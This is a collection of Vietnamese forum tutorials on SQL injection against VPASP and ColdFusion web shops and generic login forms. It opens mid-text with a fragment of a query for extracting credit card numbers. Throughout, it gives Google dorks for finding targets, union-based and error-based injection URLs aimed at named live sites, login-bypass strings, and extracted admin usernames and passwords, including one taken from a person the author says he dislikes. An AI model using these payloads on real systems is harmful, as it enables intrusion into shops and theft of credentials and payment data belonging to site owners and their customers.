20where%20CardNumber%20not%20in('XXXXXXXXXXXXXXX')%20)

Llấy được cc thứ 2 thì lấy số number của card đó thêm vào sau link trên chỗ 'XXXXXXXXXXXXXXXX'
TUTORIAL BY SEAMOUN
Tôi thấy các bạn quan tâm nhiều đến hack shop VPASP, nên tôi viết một bài để các tham khảo, mặc dù cũ nhưng tôi
thấy cũng còn nhiều Web bị lỗi này.
VPASP khỏi cần nói các bạn cũng biết đó là Shopping Cart. Phiên bản bị lỗi SQL - Injection là 4.5 và 5.0 còn những
phiên bản mới thì tôi không có source để

xem nó còn lỗi gì hay không ?

Vì VPASP thường sử dụng cơ sở dữ liệu MS Access cho nên việc ngắt lệnh như SQL - Server là không thể cho nên chỉ
còn một cách là hợp lệnh SQL để lấy

kết quả. Thực hiện các bước sau:

Bước 1: Vào Google.com, tìm cụm từ sau: allinurl: shopdisplaycategories.asp. Bạn sẽ thấy ra cả đống site. Kiểm tra
link xem có bị lỗi SQL - Injection hay

không ?

Bước 2:
Đối với phiên bản VPASP 4.5 thì lỗi tại file shopdisplaycategories.asp và shopdisplayproducts.asp. Ở phiên bản
VPASP 5.0 thì đã sửa lỗi hai file trên nhưng

còn một chỗ vẫn bị lỗi là file shopexd.asp

Ví dụ site sau:
http://www.hopscotchdressingup.co.uk/store/shopdisplayproducts.asp?id=8'&cat=Halloween.

Mặc dù ta đã thêm ' ở tại shopdisplayproducts.asp?id=8' nhưng vẫn không bị lỗi. Ta thử tiếp file link sau :
http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149'. Nó xuất hiện lỗi

HTTP 500 - Internal server error


Internet Explorer

Bước 3:
Ta thực hiện gộp lệnh để lấy giá trị username và password như sau:
Link ban đầu :http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149
Link gộp truy vấn : http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,
fldusername%2b'/'% 2bfldpassword,cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w
eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor
y,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ
ate,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s
upplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown
load,groupfordiscount,clanguage,points,pointstobuy,price2,price3,billprice,billi
nstallments,billinstallmenttype,billinterval,maximumquantity,frontpage from products,tbluser where catalogid=149
.
Các bạn sẽ hỏi là cái đống hỗn độn ở link trên lấy ở đâu ra?Hì hì chỉ đọc source VPASP mới biết nó gồm những trường
nào trong bản product rồi từ đó gộp
lệnh cho đủ các trường và thay thế trường tên của sản phầm bằng trường username và password. Sở dĩ ta phải cho
id=-1 để ngắt lệnh SQL thứ nhất khi

hợp nhất thì nó sẽ thực hiện lệnh SQL thứ hai.

Sau khi hợp SQL ta sẽ có kết quả user và password là "Sy87XXXXX/gL37ytXXXXX" là hai giá trị được thay thế tại
tên của sản phẩm.

Như vậy ta đã có user và password của admin rồi. Mừng quá login vào shopadmin.asp thôi !. Thông thường thì tên file
Admin ControlPanel là

shopadmin.asp nếu như nó chưa đổi.

Bước 4: Ta truy cập vào http://www.hopscotchdressingup.co.uk/store/shopadmin.asp thử xem thế nào? Chà ! file nó
đổi tên mất rồi. Làm sao đây ? Tiếp tục gộp lệnh để lấy tên file đã thay đổi thôi !

Cũng với link http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=149 ta gộp lệnh như sau để lấy tên file
truy cập vào Admin Control Panel.
http://www.hopscotchdressingup.co.uk/store/shopexd.asp?id=-1 union select catalogid,ccode,fieldvalue,cdescription,
cprice,ccategory,cdescurl,features,cimag
eurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special
offer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k
eywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini
mumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachm
ent,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3,bi
llprice,billinstallments,billinstallmenttype,billinterval,maximumquantity,frontp
age from products,configuration where fieldname='xadminpage' and catalogid=149

Sau khi thực hiện ta đã có tên file truy cập vào Admin Control Panel là hopoff.asp

Như vậy ta có thể truy cập đến file Admin. http://www.hopscotchdressingup.co.uk/store/hopoff.asp.


Lưu ý: Khi truy cập vào Admin Control Panel nếu gặp hai trường nhập password thì : một là ngồi thử hai là đi kiếm
cái khác. Vì password thứ 2 là một hằng nên không thể dùng cách hợp lệnh để lấy được. Muốn lấy chắc viết email đến
admin hỏi thử password thứ hai là gì, tôi đã có password thứ nhất của you rôi !!! Hi hi hi
Đối với phiên bản VPASP 4.5 thì cũng làm tương tự như trên chỉ khác là ở chỗ gộp lệnh lấy username, password và
tên file truy cập vào Admin Control

Panel

Ví dụ : http://<site bị lỗi>/shopdisplaycategories.asp?id=1 chẳng hạn. Thì lệnh gộp lấy username, password và tên file
admin như sau

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fldusername%2b':'% 2bfldpassword,


cdescription,cprice,ccategory,cdescurl,features,cimageurl,cstock,w
eight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,categor
y,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,templ
ate,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,s
upplierid,crossselling,hide,productmatch,customermatch,orderattachment,orderdown
load,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from products,tbluser where 1=1 or 1=1
http://<site bị lỗi>/shopdisplaycategories.asp?id=1 union select catalogid,ccode,fieldvalue,cdescription,cprice,
ccategory,cdescurl,features,cimag
eurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,special
offer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,k
eywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,mini
mumquantity,supplierid,crossselling,hide,productmatch,customermatch,orderattachm
ent,orderdownload,groupfordiscount,clanguage,points,pointstobuy,price2,price3 from products,tbluser,configuration
where fieldname='xadminpage'

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau

http://<site bị lỗi>/shopdisplaycategories.asp?id=1

and%201=convert(int,(select%20top%201%20fldusername%2b'/'%2bfldpassword%20from%20tbluser))--
sp_password

http://<site bị lỗi>/shopdisplaycategories.asp?id=1 and%201=convert(int,(select top 1 fieldvalue from configuration


where

fieldname='xadminpage'))--sp_password

PS: Mấy you thực hành thì đừng có file site của họ nha !
TUTORIAL BY GAMMA95
Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là “Tại sao
lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này

Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause. “

bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko
có kí tự comment kiểu như ‘—‘ như trong MSSQL ,nếu có thì ko còn gì để nói …mình thì chỉ có vài kinh nghiệm sơ
sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban
Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái
host tạm để test
Ok …linktest
http://b.domaindlx.com/philips/asp/shopadmin.asp

code verify user+pass trong file shopadmin.asp là


username=request("Username")
userpassword=request("password")
if ucase(Username)<>"SUPPLIER" then
sql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'"
//hì,thực tế mình đã del 2 dòng code
[QUOTE]username=replace(username,"'","")
userpassword=replace(userpassword,"'","")[/QUOTE]
lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này
nếu bạn insert
[QUOTE]username:’ or ‘’=’
password:anything[/QUOTE]
thì ko được,nhưng nếu các bạn bypass như thế này
[QUOTE]username:anything
password:’ or ‘’=’[/QUOTE]
thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là

sql = "select * from tbluser where fldusername=’’ or ‘’=’’ and fldpassword=’anything’[/QUOTE]


do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thế
thì vế ‘’=’’ and fldpassword=’anything’ sẽ được thực thi trước và có chân trị là false
(do ‘’=’’ true but fldpassword=’anything’ false à qua phép and sẽ là false ) sau đó được or với query còn lại là
fldusername=’’ or false là false (do cái fldusername=’’ là false nên or 2 vế false ra false )
-->ko bypass được
còn trường hợp 2
[QUOTE]sql = "select * from tbluser where fldusername=’anything’ and fldpassword=’’ or ‘’=’’[/QUOTE]
do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thế
vế fldusername=’anything’ and fldpassword=’’ sẽ thực thi trước và sẽ có giá trị false (do fldusername=’anything’ là
false và fldpassword=’’ cũng false nốt,nhưng sau đó nó lại được or ‘’=’’ (‘’=’’ luônđúng ) nên chân trị nguyên query
này là true --> by pass
…phù vì thế trước giờ các bác đi by pass tòan là
username :’ or ‘’=’
password :’ or ‘’=’
cho chắc cú phảI ko nhể ??..hehe ,những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôi
Thôi,nãy giờ lan man wá,ko đi vào chủ đề chính
ok…bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau khi ij và submit thì nó ra cái này
Error Type:
[QUOTE]Microsoft JET Database Engine (0x80040E14)
Syntax error in string in query expression 'fldusername=''' and fldpassword='''.[/QUOTE]
/asp/shopadmin.asp, line 34
Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trên
URL thì thường là ọc ra những column ko mong đơi chút nào )
Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao
[QUOTE]Username :’ union select 1,1…1 from tbluser
Password :anything[/QUOTE]
Và nó ọc ra cái này đây
[QUOTE]Error Type:
Microsoft JET Database Engine (0x80004005)
Syntax error in FROM clause.
/asp/shopadmin.asp, line 34[/QUOTE]
TạI sao vậy ?câu query get được từ form là
sql = "select * from tbluser where fldusername=’’ union select 1,1.. from tbluser' and fldpassword=’anything’
bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nó thêm vào nên câu query
thật là vô nghĩa ,họặc nếu có thêm ‘and 1=2 union select …đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông
báo
[QUOTE]Syntax error in FROM clause.[/QUOTE]
Ok…vậy thì chúng ta sẽ khắc phục như sau
Username :’ union select 1 from tbluser where ‘1’=’1
Password:anything
Mục đích thêm cái where ‘1’=’1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn lạI vào where
‘1’=’1’ --> hòan tòan hợp lý phảI ko nào ??
Và query lúc này như sau:
[QUOTE]sql = "select * from tbluser where fldusername=’’ union select 1 from tbluser where ‘1’=’1’ and
fldpassword='anything’[/QUOTE]
hì,1 cái error quen thuộc bắn ra
[QUOTE]Microsoft JET Database Engine (0x80040E14)
The number of columns in the two selected tables or queries of a union query do not match.[/QUOTE]
Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây
Xong …nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thôi ,còn trên
các URL thì sao ,có gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới (bây giờ bận thi học kì)
MọI Feedback xin post lên 4rum,xin đừng PM,mail v..v
TUTORIAL HACK CFM FROM HCV
Thường thì các bạn chỉ search site dính sql injection và site đó xài ASP đúng không ... vậy sao ko search những site
dùng cfm nhỉ. Hum nay lướt chơi thấy có site bị lỗi nên đánh bạo post bài cho anh em đọc có câu cú gì sai sót về kĩ
thuật xin anh em lượng thứ Tui là newbie mờ ...

Lên google gõ từ khóa : allinurl:"affiliate-agreement.cfm?storeid"


Và kết quả cho ta vài trang ... okie chọn đại 1 trang coi tui chọn thằng này :
QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=

Thêm dấu ' vào xem ...

QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid='

QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3:
Incorrect syntax near ''.

The error occurred in E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4


Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23
Called from E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4
Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23

2 : SELECT *
3 : FROM config
4 : WHERE ID=#storeid#
5 : </CFQUERY>
Chậc sao nhòm cái error wen wá dzậy trời ... Giờ ta thử 1 chút xem sao
QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20table_name%20from%20information_schema.tables))--sp_password

Ặc ... xem cái gì hiện ra nè mấy bồ

QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'administration' to a column of data type int.
Hay quá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à quên ... với thằng này bạn không thể
lấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một ... Không hiểu sao ... Kệ ... Có còn hơn không
nha
QUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20username from administration]http://www.channel69shopping.com/store/aff...%201%20username[/url] from
administration
Username là Administrator

Rùi pass nữa nha


QUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20password from administration]http://www.channel69shopping.com/store/aff...%201%20password[/url] from
administration

Hehe pass nè : cartease

Login đi thôi

http://www.channel69shopping.com/store/admin
Đã check thành công post cho các bác newbie như destroyer thực hành

hope success
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Trong bà i viế t nà y, tôi sẽ có kè m theo quá trình inject mô ̣t website và lý thuyế t cơ bả n về SQL injection để cá c ba ̣n có
thể hiể u rõ hơn. Nhưng có lẽ là chỉ cho newbie thôi, khi nà o rỗ i tôi sẽ viế t và hướ ng dẫn advance sql injection, tấ t
nhiên có kè m theo mô ̣t site để cá c ba ̣n thư ̣c hà nh.

Chú ng ta hãy bắ t đầ u :

Sql injection đang dầ n phổ biế n hiê ̣n nay, và có lẽ lỗ i nhiề u nhấ t vẫn là ở cá c site MS SQl. Nó rấ t nguy hiể m, nó cho
phé p chú ng ta login mà không cần username và password, remote execution, dump data và truy xuấ t username +
password ra ngoà i bằ ng cá ch input cá c query/command vào input trước khi chuyển cho ứng dụng web xử lí. Để thử
xem site đó có bi lỗ
̣ i hay không, ba ̣n thử input và o cá c field username và pass bằ ng :

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

'or''='

và cò n rấ t nhiề u nữ a tôi không tiê ̣n viế t ở đây. Rấ t có thể ba ̣n sẽ login đươ ̣c và o vớ i quyề n admin hoă ̣c mô ̣t user nà o
đó . Nhưng ở bà i viế t nà y tôi nó i đế n cá ch truy xuấ t username và password ra ngoà i để chú ng ta mă ̣c nhiên và o trong
CP.
Ở đây, tôi sẽ lấ y ra mô ̣t site bấ t kỳ , nhưng khi ba ̣n muố n tấ n công mô ̣t trang nà o đó thì la ̣i khá c, ba ̣n phả i bỏ công ra
tìm link nhiễm.

Mu ̣c tiêu tấ n công :http://www.naame.com/manageAccount/manaccount516.asp

Bây giờ để xá c đinḥ xem có bi SQL


̣ injection không, ba ̣n thử input cá c lê ̣nh tôi liê ̣t kê ở trên, không by pass login đươ ̣c
ba ̣n input thử dấ u ngoă ̣c đơn '
kế t quả :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '''.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

thế là biế t mu ̣c tiêu bi lỗ


̣ i rồ i nhé , bây giờ viê ̣c cầ n là m là lấ y đươ ̣c ra cá c table name củ a nó , dù ng : 'having 1=1-- .Ba ̣n
hãy để ý thấ y dâu --, vâng trong MS SQL, tấ t cả cá c thứ sau -- sẽ bi loa ̣ ̣i bỏ .

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there
is no GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Ok rồ i : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function
and there is no GROUP BY clause.

Vâ ̣y là ta lấ y đươ ̣c 1 table rồ i đó . Bướ c tiế p theo :

'GROUP BY LoginTable.Account having 1=1--


Nó bá o :

Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function
or the GROUP BY clause.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

La ̣i lấ y đươ ̣c thêm mô ̣t cô ̣t nữ a rồ i. Ba ̣n thay và o : (thêm 1 cô ̣t và ngăn cá ch bằ ng dấ u phẩ y)

'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--

Ba ̣n cứ là m thế để lấ y cá c table củ a nó . Tôi đã lấ y sẵn ra cho cá c ba ̣n :

'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable.


Credits, LoginTable.LoginType having 1=1--
Lấ y đươ ̣c cá c table rồ i thì là m gì? Cá c cá c ba ̣n nhìn và o cô ̣t "username" và "password" là thè m lắ m rồ i, muố n lấ y ra
ngay, híc, nhưng phả i từ từ đã, đi đâu mà vô ̣i. Có đươ ̣c nó rồ i, ta thử tìm mô ̣t link bi lỗ
̣ i (tìm nó trên thà nh address bằ ng
cá ch thêm ' và o sau = hoă ̣c =cá i gì đó '). Nhưng mà ở trang nà y nó không có mô ̣t link nà o dính lỗ i, thì ta la ̣i dư ̣a và o cá i
forum input vâ ̣y.
Ta thử nhé : (input và o field username và password rồ i submit thử ).

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--

hì, chắ c cá c ba ̣n sẽ hỏ i mấ y cá i thằ ng 1,1,1,1,1 là gì sao la ̣i đă ̣t ở đó , nó i nôm na và dễ hiể u cho newbie luôn là cá c ba ̣n
đế m xem có bao nhiêu cô ̣t ngoa ̣i trừ cô ̣t Username và thay cho mỗ i cô ̣t đó là 1 . thế thôi. Cò n thằ ng UserName > 'h' à ,
nó sẽ "xuấ t" ra mô ̣t username bấ t kỳ bắ t đầ u bằ ng letter 'h' .

Nó bá o :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'h20h20' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Cườ i tươi xem nà o, có 1 thằ ng username là m cả nh rồ i nhé . Muố n biế t password củ a ná o thì là m như sau :

'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--

Ta thay sau UserName là dấ u = 'username vừ a lấ y đươ ̣c'--

Nó bá o :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'legogame' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì, password là legogame kìa, ba ̣n login đi, cò n chờ gì nữ a.

* Note :

Nế u ba ̣n muố n lấ y thêm nhiề u username khá c thì :

'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--

nó sẽ lấ y ra mô ̣t username khá c. Nế u ba ̣n muố n username bắ t đầ u bằ ng B chẳ ng ha ̣n, thì thay bằ ng 'b'-- thế thôi.

trong trườ ng hơ ̣p ba ̣n muố n tấ n login và o mô ̣t domain nà o đó đinh trướ c thì thay cô ̣t DomainName và o cô ̣t UserName.
Ví du ̣ , tôi ghé t thằ ng maika, nó có cá i domain là H0MES4RENT.com mua ở đó thì tôi muố n biế t password củ a nó ta
dù ng :

'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--


Nó bá o :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Hì password là joepinguelo rồ i nhé , la ̣i lấ y username củ a nó đi :
'union select UserName,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'--

Kế t quả :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.

/manageAccount/acctIncludes/manaccount_inc.asp, line 33

Và Username là joepinguelo

Login thử xem, Username : joepinguelo

Password : joepinguelo

You might also like